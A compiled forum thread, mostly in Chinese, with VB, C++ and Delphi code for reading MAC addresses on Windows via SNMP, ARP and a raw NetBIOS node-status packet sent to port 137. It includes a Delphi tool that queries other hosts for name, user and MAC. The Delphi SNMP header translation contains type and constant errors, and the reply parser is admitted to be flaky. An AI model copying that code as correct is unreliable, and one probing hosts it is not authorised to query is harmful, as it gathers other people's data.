Declare Function SnmpCreateOctVbl Lib "wsnmp32.dll" Alias "SnmpCreateVbl" (ByVal hSession As Long, VarOID As OID, VarVal As VALUEOCTET) As Long

Declare Function SnmpCreateOidVbl Lib "wsnmp32.dll" Alias "SnmpCreateVbl" (ByVal hSession As Long, VarOID As OID, VarVal As VALUEOID) As Long

Declare Function SnmpCreateC64Vbl Lib "wsnmp32.dll" Alias "SnmpCreateVbl" (ByVal hSession As Long, VarOID As OID, VarVal As VALUECNTR64) As Long

' SnmpSetVb() needs to be aliased to SnmpSetIntVb(), SnmpSetOctVb(),

' SnmpSetOidVb(), SnmpSetC64Vb() for "TYPE SAFE" usage

Declare Function SnmpSetIntVb Lib "wsnmp32.dll" Alias "SnmpSetVb" (ByVal hVBL As Long, ByVal Index As Long, VarOID As OID, VarVal As VALUEINT) As Long

Declare Function SnmpSetOctVb Lib "wsnmp32.dll" Alias "SnmpSetVb" (ByVal hVBL As Long, ByVal Index As Long, VarOID As OID, VarVal As VALUEOCTET) As Long

Declare Function SnmpSetOidVb Lib "wsnmp32.dll" Alias "SnmpSetVb" (ByVal hVBL As Long, ByVal Index As Long, VarOID As OID, VarVal As VALUEOID) As Long

Declare Function SnmpSetC64Vb Lib "wsnmp32.dll" Alias "SnmpSetVb" (ByVal hVBL As Long, ByVal Index As Long, VarOID As OID, VarVal As VALUECNTR64) As Long

' Utility Functions

Declare Function SnmpGetLastError Lib "wsnmp32.dll" (ByVal hSession As Long) As Long

Declare Function SnmpStrToOid Lib "wsnmp32.dll" (ByVal strOID As String, dstOID As OID) As Long

Declare Function SnmpOidToStr Lib "wsnmp32.dll" (srcOID As OID, ByVal size As Long, ByVal strOID As String) As Long

Declare Function SnmpOidCopy Lib "wsnmp32.dll" (srcOID As OID, dstOID As OID) As Long

Declare Function SnmpOidCompare Lib "wsnmp32.dll" (xOID As OID, yOID As OID, ByVal maxLen As Long, Result As Long) As Long

Declare Function SnmpEncodeMsg Lib "wsnmp32.dll" (ByVal hSession As Long, ByVal srcEntity As Long, ByVal dstEntity As Long, ByVal hContext As Long, ByVal hPDU As Long, msgBuff As OCTET) As Long

Declare Function SnmpDecodeMsg Lib "wsnmp32.dll" (ByVal hSession As Long, srcEntity As Long, dstEntity As Long, hContext As Long, hPDU As Long, msgBuff As OCTET) As Long

Declare Function SnmpFreeDescriptor Lib "wsnmp32.dll" (ByVal syntax As Long, Descriptor As Any) As Long

' SnmpFreeDescriptor needs to be Aliased to create SnmpFreeDescOct() &

' SnmpFreeDescOid() for "TYPE SAFE" usage

Declare Function SnmpFreeDescOct Lib "wsnmp32.dll" Alias "SnmpFreeDescriptor" (ByVal syntax As Long, Descriptor As OCTET) As Long

Declare Function SnmpFreeDescOid Lib "wsnmp32.dll" Alias "SnmpFreeDescriptor" (ByVal syntax As Long, Descriptor As OID) As Long

karma：the articles might be helpful to you:

Example: How to Get the Ethernet MAC Address, SNMP Method

http://tangentsoft.net/wskfaq/examples/getmac-snmp.html

Determining a Network Controller MAC Address Using Visual Basic

http://www.mvps.org/vbnet/index.html?code/network/macaddress.htm

Bardo：

以下上Karma(无为)所提供链接的代码，还没有细看与测试，先录上来（以便高手能参考）

Winsock Programmer's FAQ

Example: How to Get the Ethernet MAC Address, SNMP Method

James Marsh writes:

In my search for an ironclad method of finding the MAC address of the ethernet card of a system, I attempted the NetBIOS method as described in the FAQ, but found this to be unacceptable as some of our customers reportedly didn't use [NetBIOS]. I passed over the RPC method, and found a solution in a page maintained by Stas Khirman and Raz Galili.... They describe a method of using the internal SNMP calls in Windows (NT, 95, and 2000 have worked for me) that are used by netstat and other windows utilities, but unfortunately provide no code example for finding the MAC code.

[Below is] a small program I've written up, so that hopefully other people won't have to go through the same learning curve I did with SNMP. I will also attach a file, snmpapi.cpp, that was written by Stas Khirman and distributed on his web page.

A great resource for those interested in retrieving system info through this method is http://www.alvestrand.no/objectid/top.html.

snmpmac.cpp

#include <snmp.h>

#include <conio.h>

#include <stdio.h>

typedef BOOL(WINAPI * pSnmpExtensionInit) (

IN DWORD dwTimeZeroReference,

OUT HANDLE * hPollForTrapEvent,

OUT AsnObjectIdentifier * supportedView);

typedef BOOL(WINAPI * pSnmpExtensionTrap) (

OUT AsnObjectIdentifier * enterprise,

OUT AsnInteger * genericTrap,

OUT AsnInteger * specificTrap,

OUT AsnTimeticks * timeStamp,

OUT RFC1157VarBindList * variableBindings);

typedef BOOL(WINAPI * pSnmpExtensionQuery) (

IN BYTE requestType,

IN OUT RFC1157VarBindList * variableBindings,

OUT AsnInteger * errorStatus,

OUT AsnInteger * errorIndex);

typedef BOOL(WINAPI * pSnmpExtensionInitEx) (

OUT AsnObjectIdentifier * supportedView);

void main()

{

WSADATA WinsockData;

if (WSAStartup(MAKEWORD(2, 0), &WinsockData) != 0) {

fprintf(stderr, "This program requires Winsock 2.x!");

return;

}

HINSTANCE m_hInst;

pSnmpExtensionInit m_Init;

pSnmpExtensionInitEx m_InitEx;

pSnmpExtensionQuery m_Query;

pSnmpExtensionTrap m_Trap;

HANDLE PollForTrapEvent;

AsnObjectIdentifier SupportedView;

UINT OID_ifEntryType[] = {

1, 3, 6, 1, 2, 1, 2, 2, 1, 3

};

UINT OID_ifEntryNum[] = {

1, 3, 6, 1, 2, 1, 2, 1

};

UINT OID_ipMACEntAddr[] = {

1, 3, 6, 1, 2, 1, 2, 2, 1, 6

}; //, 1 ,6 };

AsnObjectIdentifier MIB_ifMACEntAddr =

{ sizeof(OID_ipMACEntAddr) / sizeof(UINT), OID_ipMACEntAddr };

AsnObjectIdentifier MIB_ifEntryType = {

sizeof(OID_ifEntryType) / sizeof(UINT), OID_ifEntryType

};

AsnObjectIdentifier MIB_ifEntryNum = {

sizeof(OID_ifEntryNum) / sizeof(UINT), OID_ifEntryNum

};

RFC1157VarBindList varBindList;

RFC1157VarBind varBind[2];

AsnInteger errorStatus;

AsnInteger errorIndex;

AsnObjectIdentifier MIB_NULL = {

0, 0

};

int ret;

int dtmp;

int i = 0, j = 0;

BOOL found = FALSE;

char TempEthernet[13];

m_Init = NULL;

m_InitEx = NULL;

m_Query = NULL;

m_Trap = NULL;

/* Load the SNMP dll and get the addresses of the functions

necessary */

m_hInst = LoadLibrary("inetmib1.dll");

if (m_hInst < (HINSTANCE) HINSTANCE_ERROR) {

m_hInst = NULL;

return;

}

m_Init =

(pSnmpExtensionInit) GetProcAddress(m_hInst, "SnmpExtensionInit");

m_InitEx =

(pSnmpExtensionInitEx) GetProcAddress(m_hInst,

"SnmpExtensionInitEx");

m_Query =

(pSnmpExtensionQuery) GetProcAddress(m_hInst,

"SnmpExtensionQuery");

m_Trap =

(pSnmpExtensionTrap) GetProcAddress(m_hInst, "SnmpExtensionTrap");

m_Init(GetTickCount(), &PollForTrapEvent, &SupportedView);

/* Initialize the variable list to be retrieved by m_Query */

varBindList.list = varBind;

varBind[0].name = MIB_NULL;

varBind[1].name = MIB_NULL;

/* Copy in the OID to find the number of entries in the

Inteface table */

varBindList.len = 1; /* Only retrieving one item */

SNMP_oidcpy(&varBind[0].name, &MIB_ifEntryNum);

ret =

m_Query(ASN_RFC1157_GETNEXTREQUEST, &varBindList, &errorStatus,

&errorIndex);

printf("# of adapters in this system : %i",

varBind[0].value.asnValue.number); varBindList.len = 2;

/* Copy in the OID of ifType, the type of interface */

SNMP_oidcpy(&varBind[0].name, &MIB_ifEntryType);

/* Copy in the OID of ifPhysAddress, the address */

SNMP_oidcpy(&varBind[1].name, &MIB_ifMACEntAddr);

do {

/* Submit the query. Responses will be loaded into varBindList.

We can expect this call to succeed a # of times corresponding

to the # of adapters reported to be in the system */

ret =

m_Query(ASN_RFC1157_GETNEXTREQUEST, &varBindList, &errorStatus,

&errorIndex); if (!ret) ret = 1;

else

/* Confirm that the proper type has been returned */

ret =

SNMP_oidncmp(&varBind[0].name, &MIB_ifEntryType,

MIB_ifEntryType.idLength); if (!ret) {

j++;

dtmp = varBind[0].value.asnValue.number;

printf("Interface #%i type : %i", j, dtmp);

/* Type 6 describes ethernet interfaces */

if (dtmp == 6) {

/* Confirm that we have an address here */

ret =

SNMP_oidncmp(&varBind[1].name, &MIB_ifMACEntAddr,

MIB_ifMACEntAddr.idLength);

if ((!ret)

&& (varBind[1].value.asnValue.address.stream != NULL)) {

if (

(varBind[1].value.asnValue.address.stream[0] ==

0x44)

&& (varBind[1].value.asnValue.address.stream[1] ==

0x45)

&& (varBind[1].value.asnValue.address.stream[2] ==

0x53)

&& (varBind[1].value.asnValue.address.stream[3] ==

0x54)

&& (varBind[1].value.asnValue.address.stream[4] ==

0x00)) {

/* Ignore all dial-up networking adapters */

printf("Interface #%i is a DUN adapter", j);

continue;

}

if (

(varBind[1].value.asnValue.address.stream[0] ==

0x00)

&& (varBind[1].value.asnValue.address.stream[1] ==

0x00)

&& (varBind[1].value.asnValue.address.stream[2] ==

0x00)

&& (varBind[1].value.asnValue.address.stream[3] ==

0x00)

&& (varBind[1].value.asnValue.address.stream[4] ==

0x00)

&& (varBind[1].value.asnValue.address.stream[5] ==

0x00)) {

/* Ignore NULL addresses returned by other network

interfaces */

printf("Interface #%i is a NULL address", j);

continue;

}

sprintf(TempEthernet, "%02x%02x%02x%02x%02x%02x",

varBind[1].value.asnValue.address.stream[0],

varBind[1].value.asnValue.address.stream[1],

varBind[1].value.asnValue.address.stream[2],

varBind[1].value.asnValue.address.stream[3],

varBind[1].value.asnValue.address.stream[4],

varBind[1].value.asnValue.address.stream[5]);

printf("MAC Address of interface #%i: %s", j,

TempEthernet);}

}

}

} while (!ret); /* Stop only on an error. An error will occur

when we go exhaust the list of interfaces to

be examined */

getch();

/* Free the bindings */

SNMP_FreeVarBind(&varBind[0]);

SNMP_FreeVarBind(&varBind[1]);

}

snmpapi.cpp

/******************************************************************

*

* Copyright (C) Stas Khirman 1998. All rights reserved.

*

* This program is distributed WITHOUT ANY WARRANTY

*

*******************************************************************/

/*************************************************

*

* Reproduction of SNMP.LIB and SNMPAPI.LIB base

* functions

*

* Author: Stas Khirman (staskh@rocketmail.com)

*

*

* Free software: no warranty; use anywhere is ok; spread the

* sources; note any modifications; share variations and

* derivatives (including sending to staskh@rocketmail.com).

*

*

*************************************************/

#include <snmp.h>

SNMPAPI

SNMP_FUNC_TYPE

SnmpUtilOidCpy(

OUT AsnObjectIdentifier *DstObjId,

IN AsnObjectIdentifier *SrcObjId

)

{

DstObjId->ids = (UINT *)GlobalAlloc(GMEM_ZEROINIT,SrcObjId->idLength *

sizeof(UINT));

if(!DstObjId->ids){

SetLastError(1);

return 0;

}

memcpy(DstObjId->ids,SrcObjId->ids,SrcObjId->idLength*sizeof(UINT));

DstObjId->idLength = SrcObjId->idLength;

return 1;

}

VOID

SNMP_FUNC_TYPE

SnmpUtilOidFree(

IN OUT AsnObjectIdentifier *ObjId

)

{

GlobalFree(ObjId->ids);

ObjId->ids = 0;

ObjId->idLength = 0;

}

SNMPAPI

SNMP_FUNC_TYPE

SnmpUtilOidNCmp(

IN AsnObjectIdentifier *ObjIdA,

IN AsnObjectIdentifier *ObjIdB,

IN UINT Len

)

{

UINT CmpLen;

UINT i;

int res;

CmpLen = Len;

if(ObjIdA->idLength < CmpLen)

CmpLen = ObjIdA->idLength;

if(ObjIdB->idLength < CmpLen)

CmpLen = ObjIdB->idLength;

for(i=0;i<CmpLen;i++){

res = ObjIdA->ids[i] - ObjIdB->ids[i];

if(res!=0)

return res;

}

return 0;

}

VOID

SNMP_FUNC_TYPE

SnmpUtilVarBindFree(

IN OUT RFC1157VarBind *VarBind

)

{

BYTE asnType;

// free object name

SnmpUtilOidFree(&VarBind->name);

asnType = VarBind->value.asnType;

if(asnType==ASN_OBJECTIDENTIFIER){

SnmpUtilOidFree(&VarBind->value.asnValue.object);

}

else if(

(asnType==ASN_OCTETSTRING) ||

(asnType==ASN_RFC1155_IPADDRESS) ||

(asnType==ASN_RFC1155_OPAQUE) ||

(asnType==ASN_SEQUENCE)){

if(VarBind->value.asnValue.string.dynamic){

GlobalFree(VarBind->value.asnValue.string.stream);

}

}

VarBind->value.asnType = ASN_NULL;

}

I am afraid I can't help you since I know little about these.

By the way, I agree with the wwwunix.

Maybe you should put a program on the proxy to get the exactly machine IP(MAC) . Or you ask customer run client program which can send the information of this machine IP(MAC) to server before they access data on server each time.

*****************************************************

请问：如何实现网卡的物理地址和IP地址的相互查询 （即在局域网内,知道IP查MAC地址，知道MAC地址查IP）

你可以使用arp程序（WINDOWS自带）

eg: arp -a 192.168.0.1

如果使用程序查的话，你需要去实现一个ARP、RARP协议的软件

如果只是查看一下对应关系，可以登陆到以太网交换机上查看IP和MAC之间的对应

在Windows9x中，可按如下思路进行：

1、建立局域网内IP地址--MAC地址对照表：

调用icmp.dll中的IcmpSendEcho函数对一个地址发一个ping操作。

成功后马上调用Iphlpapi.dll中的GetIpNetTable函数来取所有的ARP表，从中找出

所关心的MAC地址。

保存IP地址和MAC地址。

依此类推，取得局域网内所有IP地址和MAC地址的对照表。

（可取范围为IPADDR and SUBMASK 子网范围内的对照表）

2、做一个查询界面。

Windows2000中，应该可以更简单一些。因为它支持更多的函数如SendARP。

IP to MAC 较容易：

方法1. DOS命令: nbtstat -a IP

方法2. DOS命令: ping IP 然后 arp -a

方法3. 仿照nbtstat，向对方的137端口发数据包，包的内容如下（C代码）

BYTE b[50]={0x0,0x00,0x0,0x10,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,

0x20,0x43,0x4b,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x0,0x0,0x21,0x0,0x1};

（这是发nbtstat命令后用IPMan截获的），对方会向你返回一个数据包，

其中有对方的工作组，主机名，用户名，MAC地址。当然，返回包的格式要

自己分析，也可以查RFC文档。你自己的端口可以随便取一个值。

方法4.在win9x下可用IPMan直接发ARP。

方法5.在win2000下可用SendArp()直接发ARP。

----------------------------------------------------------------

MAC to IP似乎较困难。

Win9x下IPMan有此项功能，但我试了一下似乎不行。

来自：zw84611, 时间：2001-10-7 19:37:00, ID：659172

发出去了，是用VC写的。因为我不喜欢Delphi5 的udp控件。其实用delphi也一样。很

简单的，就是向对方137端口发内容为

BYTE b[50]={0x0,0x00,0x0,0x10,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,

0x20,0x43,0x4b,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

0x41,0x41,0x41,0x0,0x0,0x21,0x0,0x1};

的UDP包（Delphi中用$代替0x)，对方就会给你应答，你接收就是了。

Delphi源码如下，其中UDP用Socket API实现。

-------------------------------------------------------

unit udp;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, winsock,

StdCtrls;

const

WM_SOCK = WM_USER + 1; //自定义windows消息

UDPPORT = 6767; //设定UDP端口号

NBTPORT = 137;

type

Tfrmmain = class(TForm)

Button1: TButton;

ListBox1: TListBox;

Edit1: TEdit;

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

s: TSocket;

addr: TSockAddr;

FSockAddrIn : TSockAddrIn; //利用消息实时获知UDP消息

procedure ReadData(var Message: TMessage); message WM_SOCK;

public

{ Public declarations }

procedure SendData(b:array of byte);

end;

var

frmmain: Tfrmmain;

implementation

{$R *.DFM}

procedure Tfrmmain.FormCreate(Sender: TObject);

var

TempWSAData: TWSAData;

//optval: integer;

begin

// 初始化SOCKET

if WSAStartup($101, TempWSAData)=1 then

showmessage('StartUp Error!');

s := Socket(AF_INET, SOCK_DGRAM, 0);

if (s = INVALID_SOCKET) then //Socket创建失败

begin

showmessage(inttostr(WSAGetLastError())+' Socket创建失败');

CloseSocket(s);

end;

//本机SockAddr绑定

addr.sin_family := AF_INET;

addr.sin_addr.S_addr := INADDR_ANY;

addr.sin_port := htons(UDPPORT);

if Bind(s, addr, sizeof(addr)) <> 0 then

begin

showmessage('bind fail');

end;

WSAAsyncSelect(s, frmmain.Handle , WM_SOCK, FD_READ);

//对方SockAddrIn设定

FSockAddrIn.SIn_Family := AF_INET;

FSockAddrIn.SIn_Port := htons(NBTPORT);

end;

procedure Tfrmmain.FormClose(Sender: TObject; var Action: TCloseAction);

begin

CloseSocket(s);

end;

procedure GetInfo(buf: Array of byte);

{这个过程是根据返回报文的内容凑出来的，偶尔会出错。如果能根据

报文格式的定义来做（可查阅相关RFC文档，可惜我没时间，以后做吧），就更好了。

如果你作出来了，不妨寄给我一个哟。e-mail:zw84611@sina.com}

var bAdd,bMac:boolean;

str,strHost,strHex,strMac:string;

tem,i,j:integer;

begin

bAdd:=true;

strHost:='';

strHex:='';

tem:=0;

for i:=57 to 500 do //57-72

begin

if(Buf[i]=$cc)then break;

if(Buf[i]=$20)then bAdd:=false;

if(bAdd)then

begin

str:=char(Buf[i]);

strHost:=strHost+str;

str:=Format('%x.',[Buf[i]]);

strHex:=strHex+str;

end;

inc(tem);

if(tem mod 18=0)then

begin

bAdd:=true;

Trim(strHex);

bMac:=true;

for j:=1 to length(strHex) do if strHex[j]>'0' then bMac:=false;

//showmessage(strHex);

if(bMac)then

with frmmain.ListBox1 do

begin

Items.Delete(items.count-1);

Items.add('mac address:');

Delete(strMac,17,length(strMac)-17);

Items.Add(strMac);

break;

end;

frmmain.ListBox1.items.Add(strHost);

strMac:=strHex;

strHost:='';

strHex:='';

end;

end;

end;

procedure Tfrmmain.ReadData(var Message: TMessage);

var

buffer: Array [1..500] of byte;

len{,i}: integer;

flen: integer;

Event: word;

value: string;

begin

value:='';

Event := WSAGetSelectEvent(Message.LParam);

if Event = FD_READ then

begin

len := recvfrom(s, buffer, sizeof(buffer), 0, FSockAddrIn, flen);

{for i:=1 to len do value:=value+format('%x',[buffer[i]]);

ListBox1.items.add(value);

value:='';

for i:=1 to len do if char(buffer[i])<>#0 then value:=value+char(buffer[i]);

ListBox1.items.add(value);}

if len<> 0 then GetInfo(buffer);

end;

end;

procedure Tfrmmain.SendData(b:array of byte);

var

len: integer;

begin

FSockAddrIn.SIn_Addr.S_addr := inet_addr(pchar(edit1.text));

len := sendto(s, b[0],50, 0, FSockAddrIn, sizeof(FSockAddrIn));

//if (WSAGetLastError() <> WSAEWOULDBLOCK) and (WSAGetLastError() <> 0) then showmessage(inttostr(WSAGetLastError()));

if len = SOCKET_ERROR then

showmessage('send fail');

if len <> 50 then

showmessage('Not Send all');

end;

procedure Tfrmmain.Button1Click(Sender: TObject);

const NbtstatPacket:array[0..49]of byte

=($0,$0,$0,$10,$0,$1,

$0,$0,$0,$0,$0,$0,$20,$43,$4b,

$41,$41,$41,$41,$41,$41,$41,$41,

$41,$41,$41,$41,$41,$41,$41,$41,

$41,$41,$41,$41,$41,$41,$41,$41,

$41,$41,$41,$41,$41,$41,$0,$0,$21,$0,$1);

begin

senddata(NbtstatPacket);

end;

end.


TCP/IP详解

附件>>>> TCP/IP详解.rar


snmp.pas
{*****************************************************************************

Copyright 1992 - 1998 Microsoft Corporation

Translate:Kingron

Mail: Kingron@163.net

Web: http://kingron.myetang.com

Module Name:

snmp.h

Abstract:

Definitions for SNMP development.

*****************************************************************************}

unit SNMP;

interface

uses windows;

{$IFNDEF _INC_SNMP}

{$DEFINE _INC_SNMP}

{$ENDIF}

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Type Definitions //

// //

///////////////////////////////////////////////////////////////////////////////

const

Inetmib1 = 'Inetmib1.dll';

Igmpagnt = 'igmpagnt.dll';

snmpapidll = 'snmpapi.dll';

type

PByteAr=array[0..1000] of byte;

type

TAsnOctetString = packed record

stream: PByteAr;

length: UINT;

dynamic: BOOL;

end;

TAsnObjectIdentifier = packed record

idLength: UINT; /// Length of IDS

ids: pointer; /// Pointer to oid array

end;

PAsnObjectIdentifier = ^TAsnObjectIdentifier;

LONG = WORD;

TAsnInteger32 = LONG;

TAsnUnsigned32 = DWORD;

TAsnCounter64 = ULARGE_INTEGER;

TAsnCounter32 = TAsnUnsigned32;

TAsnGauge32 = TAsnUnsigned32;

TAsnTimeticks = TAsnUnsigned32;

TAsnBits = TAsnOctetString;

TAsnSequence = TAsnOctetString;

TAsnImplicitSequence = TAsnOctetString;

TAsnIPAddress = TAsnOctetString;

TAsnNetworkAddress = TAsnOctetString;

TAsnDisplayString = TAsnOctetString;

TAsnOpaque = TAsnOctetString;

TAsnValue = packed record

number: TAsnInteger32; // ASN_INTEGER

// ASN_INTEGER32

unsigned32: TAsnUnsigned32; // ASN_UNSIGNED32

counter64: TAsnCounter64; // ASN_COUNTER64

Astring: TAsnOctetString; // ASN_OCTETSTRING

bits: TAsnBits; // ASN_BITS

Aobject: TAsnObjectIdentifier; // ASN_OBJECTIDENTIFIER

sequence: TAsnSequence; // ASN_SEQUENCE

address: TAsnIPAddress; // ASN_IPADDRESS

counter: TAsnCounter32; // ASN_COUNTER32

gauge: TAsnGauge32; // ASN_GAUGE32

ticks: TAsnTimeticks; // ASN_TIMETICKS

arbitrary: TAsnOpaque; // ASN_OPAQUE

end;

TAsnAny = packed record

asnType: BYTE;

asnValue: TAsnValue;

end;

TAsnObjectName = TAsnObjectIdentifier;

TAsnObjectSyntax = TAsnAny;

TSnmpVarBind = packed record

name: TAsnObjectName;

value: TAsnObjectSyntax;

end;

TSnmpVarBindList = packed record

list: pointer;

len: UINT;

end;

{$IFNDEF _INC_WINSNMP}

///////////////////////////////////////////////////////////////////////////////

// //

// ASN/BER Base Types //

// //

///////////////////////////////////////////////////////////////////////////////

const

ASN_UNIVERSAL = $00;

ASN_APPLICATION = $40;

ASN_CONTEXT = $80;

ASN_PRIVATE = $C0;

ASN_PRIMITIVE = $00;

ASN_CONSTRUCTOR = $20;

///////////////////////////////////////////////////////////////////////////////

// //

// PDU Type Values //

// //

///////////////////////////////////////////////////////////////////////////////

SNMP_PDU_GET = ASN_CONTEXT or ASN_CONSTRUCTOR or $0;

SNMP_PDU_GETNEXT = ASN_CONTEXT or ASN_CONSTRUCTOR and $1;

SNMP_PDU_RESPONSE = ASN_CONTEXT or ASN_CONSTRUCTOR and $2;

SNMP_PDU_SET = ASN_CONTEXT or ASN_CONSTRUCTOR or $3;

SNMP_PDU_V1TRAP = ASN_CONTEXT or ASN_CONSTRUCTOR or $4;

SNMP_PDU_GETBULK = ASN_CONTEXT or ASN_CONSTRUCTOR or $5;

SNMP_PDU_INFORM = ASN_CONTEXT or ASN_CONSTRUCTOR or $6;

SNMP_PDU_TRAP = ASN_CONTEXT or ASN_CONSTRUCTOR or $7;

{$ENDIF} // _INC_WINSNMP

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Simple Syntax Values //

// //

///////////////////////////////////////////////////////////////////////////////

const

ASN_INTEGER = ASN_UNIVERSAL or ASN_PRIMITIVE or $02;

ASN_BITS = ASN_UNIVERSAL or ASN_PRIMITIVE or $03;

ASN_OCTETSTRING = ASN_UNIVERSAL or ASN_PRIMITIVE or $04;

ASN_NULL = ASN_UNIVERSAL or ASN_PRIMITIVE or $05;

ASN_OBJECTIDENTIFIER = ASN_UNIVERSAL or ASN_PRIMITIVE or $06;

ASN_INTEGER32 = ASN_INTEGER;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Constructor Syntax Values //

// //

///////////////////////////////////////////////////////////////////////////////

ASN_SEQUENCE = ASN_UNIVERSAL or ASN_CONSTRUCTOR or $10;

ASN_SEQUENCEOF = ASN_SEQUENCE;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Application Syntax Values //

// //

///////////////////////////////////////////////////////////////////////////////

ASN_IPADDRESS = ASN_APPLICATION or ASN_PRIMITIVE or $00;

ASN_COUNTER32 = ASN_APPLICATION or ASN_PRIMITIVE or $01;

ASN_GAUGE32 = ASN_APPLICATION or ASN_PRIMITIVE or $02;

ASN_TIMETICKS = ASN_APPLICATION or ASN_PRIMITIVE or $03;

ASN_OPAQUE = ASN_APPLICATION or ASN_PRIMITIVE or $04;

ASN_COUNTER64 = ASN_APPLICATION or ASN_PRIMITIVE or $06;

ASN_UNSIGNED32 = ASN_APPLICATION or ASN_PRIMITIVE or $07;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Exception Conditions //

// //

///////////////////////////////////////////////////////////////////////////////

SNMP_EXCEPTION_NOSUCHOBJECT = ASN_CONTEXT or ASN_PRIMITIVE or $00;

SNMP_EXCEPTION_NOSUCHINSTANCE = ASN_CONTEXT or ASN_PRIMITIVE or $01;

SNMP_EXCEPTION_ENDOFMIBVIEW = ASN_CONTEXT or ASN_PRIMITIVE or $02;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Request Types (used in SnmpExtensionQueryEx) //

// //

///////////////////////////////////////////////////////////////////////////////

SNMP_EXTENSION_GET = SNMP_PDU_GET;

SNMP_EXTENSION_GET_NEXT = SNMP_PDU_GETNEXT;

SNMP_EXTENSION_GET_BULK = SNMP_PDU_GETBULK;

SNMP_EXTENSION_SET_TEST = ASN_PRIVATE or ASN_CONSTRUCTOR or $0;

SNMP_EXTENSION_SET_COMMIT = SNMP_PDU_SET;

SNMP_EXTENSION_SET_UNDO = ASN_PRIVATE or ASN_CONSTRUCTOR or $1;

SNMP_EXTENSION_SET_CLEANUP = ASN_PRIVATE or ASN_CONSTRUCTOR or $2;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Error Codes //

// //

///////////////////////////////////////////////////////////////////////////////

SNMP_ERRORSTATUS_NOERROR = 0;

SNMP_ERRORSTATUS_TOOBIG = 1;

SNMP_ERRORSTATUS_NOSUCHNAME = 2;

SNMP_ERRORSTATUS_BADVALUE = 3;

SNMP_ERRORSTATUS_READONLY = 4;

SNMP_ERRORSTATUS_GENERR = 5;

SNMP_ERRORSTATUS_NOACCESS = 6;

SNMP_ERRORSTATUS_WRONGTYPE = 7;

SNMP_ERRORSTATUS_WRONGLENGTH = 8;

SNMP_ERRORSTATUS_WRONGENCODING = 9;

SNMP_ERRORSTATUS_WRONGVALUE = 10;

SNMP_ERRORSTATUS_NOCREATION = 11;

SNMP_ERRORSTATUS_INCONSISTENTVALUE = 12;

SNMP_ERRORSTATUS_RESOURCEUNAVAILABLE = 13;

SNMP_ERRORSTATUS_COMMITFAILED = 14;

SNMP_ERRORSTATUS_UNDOFAILED = 15;

SNMP_ERRORSTATUS_AUTHORIZATIONERROR = 16;

SNMP_ERRORSTATUS_NOTWRITABLE = 17;

SNMP_ERRORSTATUS_INCONSISTENTNAME = 18;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMPv1 Trap Types //

// //

///////////////////////////////////////////////////////////////////////////////

SNMP_GENERICTRAP_COLDSTART = 0;

SNMP_GENERICTRAP_WARMSTART = 1;

SNMP_GENERICTRAP_LINKDOWN = 2;

SNMP_GENERICTRAP_LINKUP = 3;

SNMP_GENERICTRAP_AUTHFAILURE = 4;

SNMP_GENERICTRAP_EGPNEIGHLOSS = 5;

SNMP_GENERICTRAP_ENTERSPECIFIC = 6;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Access Types //

// //

///////////////////////////////////////////////////////////////////////////////

SNMP_ACCESS_NONE = 0;

SNMP_ACCESS_NOTIFY = 1;

SNMP_ACCESS_READ_ONLY = 2;

SNMP_ACCESS_READ_WRITE = 3;

SNMP_ACCESS_READ_CREATE = 4;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP API Return Code Definitions //

// //

///////////////////////////////////////////////////////////////////////////////

type

SNMPAPI = integer;

// SNMP_FUNC_TYPE = WINAPI;

const

SNMPAPI_NOERROR = TRUE;

SNMPAPI_ERROR = FALSE;

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Extension API Prototypes //

// //

///////////////////////////////////////////////////////////////////////////////

function SnmpExtensionInit(dwTimeZeroReference: DWORD; hPollForTrapEvent: HWND;

pFirstSupportedRegion: TAsnObjectIdentifier): Boolean; stdcall; external

Inetmib1 name 'SnmpExtensionInit';

function SnmpExtensionInitEx(pNextSupportedRegion: PAsnObjectIdentifier):

boolean; stdcall; external Inetmib1 name 'SnmpExtensionInitEx';

function SnmpExtensionQuery(bPduType: BYTE; pVarBindList: TSnmpVarBindList;

pErrorStatus: TAsnInteger32; pErrorIndex: TAsnInteger32): boolean; stdcall;

external Inetmib1 name 'SnmpExtensionQuery';

{

//// Under Function Can't Import becouse the DLL File Unknwon

function SnmpExtensionQueryEx(nRequestType: UINT; nTransactionId: UINT;

pVarBindList: TSnmpVarBindList; pContextInfo: TAsnOctetString; pErrorStatus:

TAsnInteger32; pErrorIndex: TAsnInteger32): boolean; stdcall; external Inetmib1

name 'SnmpExtensionQueryEx';

}

function SnmpExtensionTrap(pEnterpriseOid: TAsnObjectIdentifier; pGenericTrapId:

TAsnInteger32; pSpecificTrapId: TAsnInteger32; pTimeStamp: TAsnTimeticks;

pVarBindList: TSnmpVarBindList): boolean; stdcall; external Inetmib1 name

'SnmpExtensionTrap';

procedure SnmpExtensionClose; stdcall; external Igmpagnt name 'SnmpExtensionClose';

///////////////////////////////////////////////////////////////////////////////

// //

// SNMP Extension API Type Definitions //

// //

///////////////////////////////////////////////////////////////////////////////

type

PFNSNMPEXTENSIONINIT = function(dwUpTimeReference: DWORD; phSubagentTrapEvent:

THANDLE; pFirstSupportedRegion: TAsnObjectIdentifier): boolean; stdcall;

PFNSNMPEXTENSIONINITEX = function(pNextSupportedRegion: TAsnObjectIdentifier):

boolean; stdcall;

